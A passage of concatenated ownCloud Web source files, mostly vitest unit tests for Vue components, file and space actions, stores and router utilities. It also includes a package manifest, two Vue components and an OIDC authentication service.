it('sets the active state initially when given via query param', () => {
const { wrapper } = getWrapper({ initialQuery: 'true' })
expect(wrapper.vm.filterActive).toEqual(true)
})
})
})
function getWrapper({ props = {}, initialQuery = '' } = {}) {
vi.mocked(queryItemAsString).mockImplementation(() => initialQuery)
const mocks = defaultComponentMocks()
return {
mocks,
wrapper: mount(ItemFilterToggle, {
props: {
filterLabel: 'Toggle',
filterName: 'toggle',
...props
},
global: {
plugins: [...defaultPlugins()],
mocks,
provide: mocks
}
})
}
}
| owncloud/web/packages/web-pkg/tests/unit/components/ItemFilterToggle.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/tests/unit/components/ItemFilterToggle.spec.ts",
"repo_id": "owncloud",
"token_count": 780
} | 831 |
import CompareSaveDialog from '../../../../src/components/SideBar/CompareSaveDialog.vue'
import { defaultPlugins, shallowMount } from 'web-test-helpers'
describe('CompareSaveDialog', () => {
describe('computed method "unsavedChanges"', () => {
it('should be false if objects are equal', () => {
const { wrapper } = getWrapper({
propsData: {
originalObject: { id: '1', displayName: 'jan' },
compareObject: { id: '1', displayName: 'jan' }
}
})
expect(wrapper.vm.unsavedChanges).toBeFalsy()
})
it('should be true if objects are not equal', () => {
const { wrapper } = getWrapper({
propsData: {
originalObject: { id: '1', displayName: 'jan' },
compareObject: { id: '1', displayName: 'janina' }
}
})
expect(wrapper.vm.unsavedChanges).toBeTruthy()
})
})
})
function getWrapper({ propsData = {} } = {}) {
return {
wrapper: shallowMount(CompareSaveDialog, {
props: {
originalObject: {},
compareObject: {},
...propsData
},
global: {
plugins: [...defaultPlugins()]
}
})
}
}
| owncloud/web/packages/web-pkg/tests/unit/components/sidebar/CompareSaveDialog.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/tests/unit/components/sidebar/CompareSaveDialog.spec.ts",
"repo_id": "owncloud",
"token_count": 488
} | 832 |
import { mock } from 'vitest-mock-extended'
import { unref } from 'vue'
import {
useFileActionsDeleteResources,
useFileActionsDelete
} from '../../../../../src/composables/actions'
import { Resource, SpaceResource } from '@ownclouders/web-client'
import { defaultComponentMocks, RouteLocation, getComposableWrapper } from 'web-test-helpers'
import { CapabilityStore } from '../../../../../src/composables/piniaStores'
vi.mock('../../../../../src/composables/actions/helpers/useFileActionsDeleteResources')
describe('delete', () => {
describe('computed property "actions"', () => {
describe('delete isVisible property of returned element', () => {
it.each([
{
resources: [{ canBeDeleted: () => true }] as Resource[],
invalidLocation: false,
expectedStatus: true
},
{
resources: [{ canBeDeleted: () => true }] as Resource[],
invalidLocation: true,
expectedStatus: false
},
{
resources: [{ canBeDeleted: () => false }] as Resource[],
invalidLocation: false,
expectedStatus: false
},
{
resources: [{ canBeDeleted: () => true, locked: true }] as Resource[],
invalidLocation: false,
expectedStatus: false
}
])('should be set correctly', (inputData) => {
getWrapper({
invalidLocation: inputData.invalidLocation,
setup: () => {
const { actions } = useFileActionsDelete()
const resources = inputData.resources
expect(unref(actions)[0].isVisible({ space: null, resources })).toBe(
inputData.expectedStatus
)
}
})
})
})
describe('delete-permanent isVisible property of returned element', () => {
it.each([
{
resources: [{}] as Resource[],
deletePermanent: true,
invalidLocation: false,
expectedStatus: true
},
{
resources: [{}] as Resource[],
deletePermanent: true,
invalidLocation: true,
expectedStatus: false
},
{
resources: [] as Resource[],
deletePermanent: true,
invalidLocation: false,
expectedStatus: false
}
])('should be set correctly', (inputData) => {
getWrapper({
deletePermanent: true,
invalidLocation: inputData.invalidLocation,
setup: () => {
const { actions } = useFileActionsDelete()
const resources = inputData.resources
expect(unref(actions)[1].isVisible({ space: mock<SpaceResource>(), resources })).toBe(
inputData.expectedStatus
)
}
})
})
})
})
describe('search context', () => {
describe('computed property "actions"', () => {
describe('handler', () => {
it.each([
{
resources: [
{ id: '1', canBeDeleted: () => true, isShareRoot: () => false },
{ id: '2', canBeDeleted: () => true, isShareRoot: () => false }
] as Resource[],
deletableResourceIds: ['1', '2']
},
{
resources: [
{ id: '1', canBeDeleted: () => true, isShareRoot: () => false },
{ id: '2', canBeDeleted: () => true, isShareRoot: () => false },
{ id: '3', canBeDeleted: () => true, isShareRoot: () => false },
{ id: '4', canBeDeleted: () => false, isShareRoot: () => false },
{ id: '5', canBeDeleted: () => true, isShareRoot: () => true },
{ id: '6', canBeDeleted: () => true, isShareRoot: () => false, driveType: 'project' }
] as Resource[],
deletableResourceIds: ['1', '2', '3']
}
])('should filter non deletable resources', ({ resources, deletableResourceIds }) => {
const filesListDeleteMock = vi.fn()
getWrapper({
searchLocation: true,
filesListDeleteMock,
setup: () => {
const { actions } = useFileActionsDelete()
unref(actions)[0].handler({ space: null, resources })
expect(filesListDeleteMock).toHaveBeenCalledWith(
resources.filter((r) => deletableResourceIds.includes(r.id as string))
)
}
})
})
})
})
})
})
function getWrapper({
deletePermanent = false,
invalidLocation = false,
searchLocation = false,
filesListDeleteMock = vi.fn(),
setup = () => undefined
} = {}) {
const routeName = invalidLocation
? 'files-shares-via-link'
: deletePermanent
? 'files-trash-generic'
: searchLocation
? 'files-common-search'
: 'files-spaces-generic'
vi.mocked(useFileActionsDeleteResources).mockImplementation(() => ({
filesList_delete: filesListDeleteMock,
displayDialog: vi.fn()
}))
const mocks = {
...defaultComponentMocks({ currentRoute: mock<RouteLocation>({ name: routeName }) }),
space: { driveType: 'personal', spaceRoles: { viewer: [], editor: [], manager: [] } }
}
const capabilities = {
spaces: { enabled: true }
} satisfies Partial<CapabilityStore['capabilities']>
return {
wrapper: getComposableWrapper(setup, {
mocks,
provide: mocks,
pluginOptions: { piniaOptions: { capabilityState: { capabilities } } }
})
}
}
| owncloud/web/packages/web-pkg/tests/unit/composables/actions/files/useFileActionsDelete.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/tests/unit/composables/actions/files/useFileActionsDelete.spec.ts",
"repo_id": "owncloud",
"token_count": 2417
} | 833 |
import {
useOpenWithDefaultApp,
useSpaceActionsEditReadmeContent
} from '../../../../../src/composables/actions'
import { SpaceResource, buildSpace } from '@ownclouders/web-client/src/helpers'
import { getComposableWrapper } from 'web-test-helpers'
import { unref } from 'vue'
import { mock, mockDeep } from 'vitest-mock-extended'
import { Drive } from '@ownclouders/web-client/src/generated'
import { ClientService } from '../../../../../src'
vi.mock('../../../../../src/composables/actions/useOpenWithDefaultApp', () => ({
useOpenWithDefaultApp: vi.fn()
}))
describe('editReadmeContent', () => {
describe('isVisible property', () => {
it('should be true for space managers', () => {
const spaceMock = mock<Drive>({
id: '1',
root: {
permissions: [{ roles: ['manager'], grantedToIdentities: [{ user: { id: '1' } }] }]
},
special: [{ specialFolder: { name: 'readme' } }]
})
getWrapper({
setup: ({ actions }) => {
expect(
unref(actions)[0].isVisible({
resources: [buildSpace(spaceMock)]
})
).toBe(true)
}
})
})
it('should be false when not resource given', () => {
getWrapper({
setup: ({ actions }) => {
expect(unref(actions)[0].isVisible({ resources: [] })).toBe(false)
}
})
})
it('should be false when spaceReadmeData does not exist', () => {
const spaceMock = mock<Drive>({
id: '1',
root: {
permissions: [{ roles: ['manager'], grantedToIdentities: [{ user: { id: '1' } }] }]
},
special: null
})
getWrapper({
setup: ({ actions }) => {
expect(
unref(actions)[0].isVisible({
resources: [buildSpace(spaceMock)]
})
).toBe(false)
}
})
})
it('should be false when the current user is a viewer', () => {
const spaceMock = mock<Drive>({
id: '1',
root: {
permissions: [{ roles: ['viewer'], grantedToIdentities: [{ user: { id: '1' } }] }]
},
special: null
})
getWrapper({
setup: ({ actions }) => {
expect(
unref(actions)[0].isVisible({
resources: [buildSpace(spaceMock)]
})
).toBe(false)
}
})
})
})
describe('method "handler"', () => {
it('calls method "openWithDefaultApp"', () => {
getWrapper({
setup: async ({ actions }, { openWithDefaultApp }) => {
await unref(actions)[0].handler({ resources: [mock<SpaceResource>()] })
expect(openWithDefaultApp).toHaveBeenCalled()
}
})
})
})
})
function getWrapper({
setup,
openWithDefaultApp = vi.fn()
}: {
setup: (
instance: ReturnType<typeof useSpaceActionsEditReadmeContent>,
mocks: { openWithDefaultApp: any }
) => void
openWithDefaultApp?: any
}) {
vi.mocked(useOpenWithDefaultApp).mockReturnValue(
mock<ReturnType<typeof useOpenWithDefaultApp>>({
openWithDefaultApp
})
)
const mocks = { openWithDefaultApp }
return {
wrapper: getComposableWrapper(
() => {
const instance = useSpaceActionsEditReadmeContent()
setup(instance, mocks)
},
{
provide: { $clientService: mockDeep<ClientService>() },
pluginOptions: {
piniaOptions: { userState: { user: { id: '1', onPremisesSamAccountName: 'alice' } } }
}
}
)
}
}
| owncloud/web/packages/web-pkg/tests/unit/composables/actions/spaces/useSpaceActionsEditReadmeContent.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/tests/unit/composables/actions/spaces/useSpaceActionsEditReadmeContent.spec.ts",
"repo_id": "owncloud",
"token_count": 1580
} | 834 |
import { getComposableWrapper } from 'web-test-helpers'
import { useCapabilityStore } from '../../../../src/composables/piniaStores'
import { createPinia, setActivePinia } from 'pinia'
import { Capabilities } from '@ownclouders/web-client/src/ocs'
describe('useCapabilityStore', () => {
beforeEach(() => {
setActivePinia(createPinia())
})
it('has initial capabilities as defaults', () => {
getWrapper({
setup: (instance) => {
expect(Object.keys(instance.capabilities).length).toBeGreaterThan(0)
}
})
})
describe('method "setCapabilities"', () => {
it('sets "isInitialized" to true', () => {
getWrapper({
setup: (instance) => {
expect(instance.isInitialized).toBeFalsy()
const data = { capabilities: {} } as Capabilities
instance.setCapabilities(data)
expect(instance.isInitialized).toBeTruthy()
}
})
})
it('sets given values and overwrites defaults', () => {
getWrapper({
setup: (instance) => {
expect(instance.capabilities.files_sharing.allow_custom).toBeTruthy()
const data = { capabilities: { files_sharing: { allow_custom: false } } } as Capabilities
instance.setCapabilities(data)
expect(instance.capabilities.files_sharing.allow_custom).toBeFalsy()
}
})
})
})
})
function getWrapper({
setup
}: {
setup: (instance: ReturnType<typeof useCapabilityStore>) => void
}) {
return {
wrapper: getComposableWrapper(
() => {
const instance = useCapabilityStore()
setup(instance)
},
{ pluginOptions: { pinia: false } }
)
}
}
| owncloud/web/packages/web-pkg/tests/unit/composables/piniaStores/capabilities.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/tests/unit/composables/piniaStores/capabilities.spec.ts",
"repo_id": "owncloud",
"token_count": 663
} | 835 |
import { displayPositionedDropdown } from '../../../src/helpers'
describe('displayPositionedDropdown', () => {
it('shows the dropdown', () => {
const dropdown = { setProps: vi.fn(), show: vi.fn() }
const ctxMenuBtn = { $el: { getBoundingClientRect: vi.fn() } }
displayPositionedDropdown(dropdown, {}, ctxMenuBtn)
expect(dropdown.show).toHaveBeenCalled()
})
it('horizontally positions the drop at the cursor for "contextmenu"-event', () => {
const event = { type: 'contextmenu', clientX: 100 }
let dropdownProps
const dropdown = {
setProps: vi.fn((props) => {
dropdownProps = props
}),
show: vi.fn()
}
const ctxMenuBtn = { $el: { getBoundingClientRect: vi.fn(() => ({})) } }
displayPositionedDropdown(dropdown, event, ctxMenuBtn)
const data = dropdownProps.getReferenceClientRect()
expect(data.left).toEqual(event.clientX)
expect(data.right).toEqual(event.clientX)
})
it('horizontally positions the drop at context menu button if no "contextmenu"-event given', () => {
const event = { clientX: 100 }
let dropdownProps
const dropdown = {
setProps: vi.fn((props) => {
dropdownProps = props
}),
show: vi.fn()
}
const ctxMenuBtnX = 200
const ctxMenuBtn = { $el: { getBoundingClientRect: vi.fn(() => ({ x: ctxMenuBtnX })) } }
displayPositionedDropdown(dropdown, event, ctxMenuBtn)
const data = dropdownProps.getReferenceClientRect()
expect(data.left).toEqual(ctxMenuBtnX)
expect(data.right).toEqual(ctxMenuBtnX)
})
it('vertically positions the drop via "clientY" if given', () => {
const event = { clientY: 100 }
let dropdownProps
const dropdown = {
setProps: vi.fn((props) => {
dropdownProps = props
}),
show: vi.fn()
}
const ctxMenuBtn = { $el: { getBoundingClientRect: vi.fn(() => ({ x: 200 })) } }
displayPositionedDropdown(dropdown, event, ctxMenuBtn)
const { top, bottom } = dropdownProps.getReferenceClientRect()
expect(top).toEqual(event.clientY)
expect(bottom).toEqual(event.clientY)
})
it('vertically positions the drop via the context button position if "clientY" is 0', () => {
const yPos = 200
const event = { clientY: 0, srcElement: { getBoundingClientRect: () => ({ top: yPos }) } }
let dropdownProps
const dropdown = {
setProps: vi.fn((props) => {
dropdownProps = props
}),
show: vi.fn()
}
const ctxMenuBtn = { $el: { getBoundingClientRect: vi.fn(() => ({ x: 200 })) } }
displayPositionedDropdown(dropdown, event, ctxMenuBtn)
const { top, bottom } = dropdownProps.getReferenceClientRect()
expect(top).toEqual(yPos)
expect(bottom).toEqual(yPos)
})
})
| owncloud/web/packages/web-pkg/tests/unit/helpers/contextMenuDropdown.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/tests/unit/helpers/contextMenuDropdown.spec.ts",
"repo_id": "owncloud",
"token_count": 1099
} | 836 |
import {
isLocationActive,
isLocationActiveDirector,
createLocation
} from '../../../src/router/utils'
import { RouteLocation, Router } from 'vue-router'
import { mock } from 'vitest-mock-extended'
import { ref } from 'vue'
describe('utils', () => {
describe('isLocationActive', () => {
it('returns true if one location is active', () => {
const fakeRouter = mock<Router>({
currentRoute: ref({ name: 'foo' }),
resolve: (r: any) => mock<RouteLocation & { href: string }>({ href: r.name })
})
expect(isLocationActive(fakeRouter, mock<RouteLocation>({ name: 'foo' }))).toBe(true)
expect(
isLocationActive(
fakeRouter,
mock<RouteLocation>({ name: 'foo' }),
mock<RouteLocation>({ name: 'bar' })
)
).toBe(true)
})
it('returns false if all locations inactive', () => {
const fakeRouter = mock<Router>({
currentRoute: ref({ name: 'foo' }),
resolve: (r: any) => mock<RouteLocation & { href: string }>({ href: r.name })
})
expect(isLocationActive(fakeRouter, mock<RouteLocation>({ name: 'bar' }))).toBe(false)
expect(
isLocationActive(
fakeRouter,
mock<RouteLocation>({ name: 'bar' }),
mock<RouteLocation>({ name: 'baz' })
)
).toBe(false)
})
})
describe('isLocationActiveDirector', () => {
test('director can be created and be used to check active locations', () => {
const fakeRouter = mock<Router>({
currentRoute: ref({ name: 'unknown' }),
resolve: (r: any) => mock<RouteLocation & { href: string }>({ href: r.name })
})
const isFilesLocationActive = isLocationActiveDirector(
mock<RouteLocation>({ name: 'foo' }),
mock<RouteLocation>({ name: 'bar' }),
mock<RouteLocation>({ name: 'baz' })
)
expect(isFilesLocationActive(fakeRouter)).toBe(false)
fakeRouter.currentRoute.value.name = 'bar'
expect(isFilesLocationActive(fakeRouter)).toBe(true)
expect(isFilesLocationActive(fakeRouter, 'foo', 'bar')).toBe(true)
})
test('director closure only allows to check known locations and throws if unknown', () => {
const fakeRouter = mock<Router>({
currentRoute: ref({ name: 'baz' }),
resolve: (r: any) => mock<RouteLocation & { href: string }>({ href: r.name })
})
const isFilesLocationActive = isLocationActiveDirector(
mock<RouteLocation>({ name: 'foo' }),
mock<RouteLocation>({ name: 'bar' })
)
expect(() => isFilesLocationActive(fakeRouter, 'unknown')).toThrow()
})
})
describe('createLocationDirector', () => {
test('creates a location and handle arguments', () => {
const testLocation = createLocation(
'foo',
mock<RouteLocation>({
path: '/should-not-add',
params: { foo: 'foo-param-value' },
query: { bar: 'bar-query-value' }
})
)
expect(testLocation.name).toBe('foo')
expect(testLocation.params.foo).toBe('foo-param-value')
expect(testLocation.query.bar).toBe('bar-query-value')
})
})
})
| owncloud/web/packages/web-pkg/tests/unit/router/utils.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-pkg/tests/unit/router/utils.spec.ts",
"repo_id": "owncloud",
"token_count": 1292
} | 837 |
{
"name": "web-runtime",
"version": "0.0.0",
"private": true,
"description": "ownCloud web runtime",
"license": "AGPL-3.0",
"dependencies": {
"@casl/ability": "^6.3.3",
"@casl/vue": "^2.2.1",
"@fortawesome/fontawesome-free": "6.5.1",
"@ownclouders/web-client": "workspace:*",
"@ownclouders/web-pkg": "workspace:*",
"@popperjs/core": "^2.11.5",
"@sentry/vue": "7.101.0",
"@uppy/core": "3.3.0",
"@uppy/utils": "^5.3.0",
"@vueuse/head": "2.0.0",
"axios": "1.6.5",
"design-system": "workspace:@ownclouders/design-system@*",
"easygettext": "https://github.com/owncloud/easygettext/archive/refs/tags/v2.18.2-oc.tar.gz",
"filesize": "^10.1.0",
"focus-trap": "7.2.0",
"focus-trap-vue": "^4.0.1",
"fuse.js": "6.6.2",
"lodash-es": "^4.17.21",
"luxon": "3.2.1",
"oidc-client-ts": "^2.4.0",
"p-queue": "^6.6.2",
"pinia": "2.1.7",
"portal-vue": "3.0.0",
"postcss-import": "16.0.0",
"postcss-url": "10.1.3",
"promise": "^8.1.0",
"qs": "6.11.2",
"semver": "7.5.4",
"tippy.js": "^6.3.7",
"utf8": "^3.0.0",
"uuid": "9.0.1",
"vue": "3.4.21",
"vue-concurrency": "5.0.0",
"vue-inline-svg": "3.1.2",
"vue-router": "4.2.5",
"vue-select": "4.0.0-beta.6",
"vue3-gettext": "2.4.0",
"web-runtime": "workspace:*",
"webdav": "5.3.1",
"webfontloader": "^1.6.28",
"xml-js": "^1.6.11",
"zod": "3.22.4"
},
"devDependencies": {
"@types/luxon": "2.4.0",
"@types/semver": "7.5.0",
"web-test-helpers": "workspace:*"
}
}
| owncloud/web/packages/web-runtime/package.json/0 | {
"file_path": "owncloud/web/packages/web-runtime/package.json",
"repo_id": "owncloud",
"token_count": 892
} | 838 |
<template>
<oc-button
id="files-toggle-sidebar"
v-oc-tooltip="buttonLabel"
:aria-label="buttonLabel"
appearance="raw-inverse"
variation="brand"
class="oc-my-s"
@click.stop="toggleSideBar"
>
<oc-icon name="side-bar-right" :fill-type="buttonIconFillType" />
</oc-button>
</template>
<script lang="ts">
import { computed, defineComponent, unref } from 'vue'
import { SideBarEventTopics, useEventBus, useSideBar } from '@ownclouders/web-pkg'
import { useGettext } from 'vue3-gettext'
export default defineComponent({
name: 'SideBarToggle',
setup() {
const eventBus = useEventBus()
const { $gettext } = useGettext()
const { isSideBarOpen } = useSideBar({ bus: eventBus })
const buttonIconFillType = computed(() => {
return unref(isSideBarOpen) ? 'fill' : 'line'
})
const buttonLabel = computed(() => {
if (unref(isSideBarOpen)) {
return $gettext('Close sidebar to hide details')
}
return $gettext('Open sidebar to view details')
})
const toggleSideBar = () => {
eventBus.publish(SideBarEventTopics.toggle)
}
return {
buttonIconFillType,
buttonLabel,
toggleSideBar
}
}
})
</script>
| owncloud/web/packages/web-runtime/src/components/Topbar/SideBarToggle.vue/0 | {
"file_path": "owncloud/web/packages/web-runtime/src/components/Topbar/SideBarToggle.vue",
"repo_id": "owncloud",
"token_count": 477
} | 839 |
import { NextApplication } from './application'
/**
* main purpose of this is to keep a reference to all announced applications.
* this is used for example in the mounted hook outside container module
*/
export const applicationStore = new Map<string, NextApplication>()
| owncloud/web/packages/web-runtime/src/container/store.ts/0 | {
"file_path": "owncloud/web/packages/web-runtime/src/container/store.ts",
"repo_id": "owncloud",
"token_count": 61
} | 840 |
<template>
<div
class="loading-overlay oc-flex oc-flex-middle oc-flex-center"
:style="{
backgroundImage: 'url(' + currentTheme.loginPage.backgroundImg + ')'
}"
>
<oc-spinner size="xlarge" :aria-label="$gettext('Loading')" />
</div>
</template>
<script lang="ts">
import { useThemeStore } from '@ownclouders/web-pkg'
import { storeToRefs } from 'pinia'
import { defineComponent } from 'vue'
export default defineComponent({
name: 'LoadingLayout',
setup() {
const themeStore = useThemeStore()
const { currentTheme } = storeToRefs(themeStore)
return {
currentTheme
}
}
})
</script>
<style lang="scss">
.loading-overlay {
background-size: cover;
background-repeat: no-repeat;
background-position: center;
height: 100%;
width: 100%;
.oc-spinner {
color: #0a264e;
display: inline-block;
&::after {
border: 10px solid;
border-bottom: 10px solid transparent;
}
}
}
</style>
| owncloud/web/packages/web-runtime/src/layouts/Loading.vue/0 | {
"file_path": "owncloud/web/packages/web-runtime/src/layouts/Loading.vue",
"repo_id": "owncloud",
"token_count": 372
} | 841 |
import { UserManager } from './userManager'
import { PublicLinkManager } from './publicLinkManager'
import {
AuthStore,
ClientService,
UserStore,
CapabilityStore,
ConfigStore
} from '@ownclouders/web-pkg'
import { RouteLocation, Router } from 'vue-router'
import {
extractPublicLinkToken,
isAnonymousContext,
isIdpContextRequired,
isPublicLinkContextRequired,
isUserContextRequired
} from '../../router'
import { unref } from 'vue'
import { Ability } from '@ownclouders/web-client/src/helpers/resource/types'
import { Language } from 'vue3-gettext'
import { PublicLinkType } from '@ownclouders/web-client/src/helpers'
export class AuthService {
private clientService: ClientService
private configStore: ConfigStore
private router: Router
private userManager: UserManager
private publicLinkManager: PublicLinkManager
private ability: Ability
private language: Language
private userStore: UserStore
private authStore: AuthStore
private capabilityStore: CapabilityStore
public hasAuthErrorOccurred: boolean
public initialize(
configStore: ConfigStore,
clientService: ClientService,
router: Router,
ability: Ability,
language: Language,
userStore: UserStore,
authStore: AuthStore,
capabilityStore: CapabilityStore
): void {
this.configStore = configStore
this.clientService = clientService
this.router = router
this.hasAuthErrorOccurred = false
this.ability = ability
this.language = language
this.userStore = userStore
this.authStore = authStore
this.capabilityStore = capabilityStore
}
/**
* Initialize publicLinkContext and userContext (whichever is available, respectively).
*
* FIXME: at the moment the order "publicLink first, user second" is important, because we trigger the `ready` hook of all applications
* as soon as any context is ready. This works well for user context pages, because they can't have a public link context at the same time.
* Public links on the other hand could have a logged in user as well, thus we need to make sure that the public link context is loaded first.
* For the moment this is fine. In the future we might want to wait triggering the `ready` hook of applications until all available contexts
* are loaded.
*
* @param to {Route}
*/
public async initializeContext(to: RouteLocation) {
if (!this.publicLinkManager) {
this.publicLinkManager = new PublicLinkManager({
clientService: this.clientService,
authStore: this.authStore,
capabilityStore: this.capabilityStore
})
}
if (isPublicLinkContextRequired(this.router, to)) {
const publicLinkToken = extractPublicLinkToken(to)
if (publicLinkToken) {
await this.publicLinkManager.updateContext(publicLinkToken)
}
} else {
this.publicLinkManager.clearContext()
}
if (!this.userManager) {
this.userManager = new UserManager({
clientService: this.clientService,
configStore: this.configStore,
ability: this.ability,
language: this.language,
userStore: this.userStore,
authStore: this.authStore,
capabilityStore: this.capabilityStore
})
}
if (!isAnonymousContext(this.router, to)) {
const fetchUserData = !isIdpContextRequired(this.router, to)
if (!this.userManager.areEventHandlersRegistered) {
this.userManager.events.addAccessTokenExpired((...args): void => {
const handleExpirationError = () => {
console.error('AccessToken Expired:', ...args)
this.handleAuthError(unref(this.router.currentRoute))
}
/**
* Retry silent token renewal
*
* in cases where the application runs in the background (different tab, different window) the AccessTokenExpired event gets called
* even if the application is still able to obtain a new token.
*
* The main reason for this is the browser throttling in combination with `oidc-client-ts` 'Timer' class which uses 'setInterval' to notify / refresh all necessary parties.
* In those cases the internal clock gets out of sync and the auth library emits that event.
*
* For a better understanding why this happens and the interval execution gets throttled please read:
* https://developer.chrome.com/blog/timer-throttling-in-chrome-88/
*
* in cases where 'automaticSilentRenew' is enabled we try to obtain a new token one more time before we really start the authError flow.
*/
if (this.userManager.settings.automaticSilentRenew) {
this.userManager.signinSilent().catch(handleExpirationError)
} else {
handleExpirationError()
}
})
this.userManager.events.addAccessTokenExpiring((...args) => {
console.debug('AccessToken Expiring:', ...args)
})
this.userManager.events.addUserLoaded(async (user) => {
console.debug(
`New User Loaded. access_token: ${user.access_token}, refresh_token: ${user.refresh_token}`
)
try {
await this.userManager.updateContext(user.access_token, fetchUserData)
} catch (e) {
console.error(e)
await this.handleAuthError(unref(this.router.currentRoute))
}
})
this.userManager.events.addUserUnloaded(async () => {
console.log('user unloaded…')
await this.resetStateAfterUserLogout()
if (this.userManager.unloadReason === 'authError') {
this.hasAuthErrorOccurred = true
return this.router.push({
name: 'accessDenied',
query: { redirectUrl: unref(this.router.currentRoute)?.fullPath }
})
}
// handle redirect after logout
if (this.configStore.isOAuth2) {
const oAuth2 = this.configStore.oAuth2
if (oAuth2.logoutUrl) {
return (window.location = oAuth2.logoutUrl as any)
}
return (window.location = `${this.configStore.serverUrl}/index.php/logout` as any)
}
})
this.userManager.events.addSilentRenewError(async (error) => {
console.error('Silent Renew Error:', error)
await this.handleAuthError(unref(this.router.currentRoute))
})
this.userManager.areEventHandlersRegistered = true
}
// This is to prevent issues in embed mode when the expired token is still saved but already expired
// If the following code gets executed, it would toggle errorOccurred var which would then lead to redirect to the access denied screen
if (
this.configStore.options.embed?.enabled &&
this.configStore.options.embed.delegateAuthentication
) {
return
}
// relevant for page reload: token is already in userStore
// no userLoaded event and no signInCallback gets triggered
const accessToken = await this.userManager.getAccessToken()
if (accessToken) {
console.debug('[authService:initializeContext] - updating context with saved access_token')
try {
await this.userManager.updateContext(accessToken, fetchUserData)
} catch (e) {
console.error(e)
await this.handleAuthError(unref(this.router.currentRoute))
}
}
}
}
public loginUser(redirectUrl?: string) {
this.userManager.setPostLoginRedirectUrl(redirectUrl)
return this.userManager.signinRedirect()
}
/**
* Sign in callback gets called from the IDP after initial login.
*/
public async signInCallback(accessToken?: string) {
try {
if (
this.configStore.options.embed.enabled &&
this.configStore.options.embed.delegateAuthentication &&
accessToken
) {
console.debug('[authService:signInCallback] - setting access_token and fetching user')
await this.userManager.updateContext(accessToken, true)
// Setup a listener to handle token refresh
console.debug('[authService:signInCallback] - adding listener to update-token event')
window.addEventListener('message', this.handleDelegatedTokenUpdate)
} else {
await this.userManager.signinRedirectCallback(this.buildSignInCallbackUrl())
}
const redirectRoute = this.router.resolve(this.userManager.getAndClearPostLoginRedirectUrl())
return this.router.replace({
path: redirectRoute.path,
...(redirectRoute.query && { query: redirectRoute.query })
})
} catch (e) {
console.warn('error during authentication:', e)
return this.handleAuthError(unref(this.router.currentRoute))
}
}
/**
* Sign in silent callback gets called with OIDC during access token renewal when no `refresh_token`
* is present (`refresh_token` exists when `offline_access` is present in scopes).
*
* The oidc-client lib emits a userLoaded event internally, which already handles the token update
* in web.
*/
public async signInSilentCallback() {
await this.userManager.signinSilentCallback(this.buildSignInCallbackUrl())
}
/**
* craft a url that the parser in oidc-client-ts can handle…
*/
private buildSignInCallbackUrl() {
const currentQuery = unref(this.router.currentRoute).query
return '/?' + new URLSearchParams(currentQuery as Record<string, string>).toString()
}
public async handleAuthError(route: RouteLocation) {
if (isPublicLinkContextRequired(this.router, route)) {
const token = extractPublicLinkToken(route)
this.publicLinkManager.clear(token)
return this.router.push({
name: 'resolvePublicLink',
params: { token },
query: { redirectUrl: route.fullPath }
})
}
if (isUserContextRequired(this.router, route) || isIdpContextRequired(this.router, route)) {
// defines a number of seconds after a token expired.
// if that threshold surpasses we assume a regular token expiry instead of an auth error.
// as a result, the user will be logged out.
const TOKEN_EXPIRY_THRESHOLD = 5
const user = await this.userManager.getUser()
if (user?.expires_in && user.expires_in < -TOKEN_EXPIRY_THRESHOLD) {
return this.logoutUser()
}
await this.userManager.removeUser('authError')
return
}
// authGuard is taking care of redirecting the user to the
// accessDenied page if hasAuthErrorOccurred is set to true
// we can't push the route ourselves, see authGuard for details.
this.hasAuthErrorOccurred = true
}
public async resolvePublicLink(
token: string,
passwordRequired: boolean,
password: string,
type: PublicLinkType
) {
this.publicLinkManager.setPasswordRequired(token, passwordRequired)
this.publicLinkManager.setPassword(token, password)
this.publicLinkManager.setResolved(token, true)
this.publicLinkManager.setType(token, type)
await this.publicLinkManager.updateContext(token)
}
public async logoutUser() {
const u = await this.userManager.getUser()
if (u && u.id_token) {
return this.userManager.signoutRedirect({ id_token_hint: u.id_token })
} else {
await this.userManager.removeUser()
}
}
private resetStateAfterUserLogout() {
// TODO: create UserUnloadTask interface and allow registering unload-tasks in the authService
this.userStore.$reset()
this.authStore.clearUserContext()
}
private handleDelegatedTokenUpdate(event: MessageEvent): void {
if (
this.configStore.options.embed?.delegateAuthenticationOrigin &&
event.origin !== this.configStore.options.embed.delegateAuthenticationOrigin
) {
return
}
if (event.data?.name !== 'owncloud-embed:update-token') {
return
}
console.debug('[authService:handleDelegatedTokenUpdate] - going to update the access_token')
this.userManager.updateContext(event.data, false)
}
}
export const authService = new AuthService()
| owncloud/web/packages/web-runtime/src/services/auth/authService.ts/0 | {
"file_path": "owncloud/web/packages/web-runtime/src/services/auth/authService.ts",
"repo_id": "owncloud",
"token_count": 4406
} | 842 |
import SkipTo from 'web-runtime/src/components/SkipTo.vue'
import { shallowMount } from 'web-test-helpers'
;(document as any).getElementById = vi.fn(() => ({
setAttribute: vi.fn(),
focus: vi.fn(),
scrollIntoView: vi.fn()
}))
const selectors = {
skipButton: '.skip-button'
}
describe('SkipTo component', () => {
afterEach(() => {
vi.clearAllMocks()
})
const spySkipToTarget = vi.spyOn(SkipTo.methods, 'skipToTarget')
let wrapper
let skipButton
beforeEach(() => {
wrapper = getShallowWrapper().wrapper
skipButton = wrapper.find(selectors.skipButton)
})
it('should render provided text in the slot', () => {
expect(skipButton.text()).toEqual('Skip to main')
})
it('should call "skipToTarget" method on click', async () => {
await skipButton.trigger('click')
expect(spySkipToTarget).toHaveBeenCalledTimes(1)
})
})
function getShallowWrapper() {
return {
wrapper: shallowMount(SkipTo, {
props: {
target: ''
},
slots: {
default: 'Skip to main'
}
})
}
}
| owncloud/web/packages/web-runtime/tests/unit/components/SkipTo.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-runtime/tests/unit/components/SkipTo.spec.ts",
"repo_id": "owncloud",
"token_count": 404
} | 843 |
import { useCapabilityStore } from '@ownclouders/web-pkg'
import { getBackendVersion, getWebVersion } from '../../../src/container/versions'
import { createTestingPinia } from 'web-test-helpers'
describe('collect version information', () => {
describe('web version', () => {
beforeEach(() => {
process.env.PACKAGE_VERSION = '4.7.0'
})
it('provides the web version with a static string without exceptions', () => {
expect(getWebVersion()).toBe('ownCloud Web UI 4.7.0')
})
})
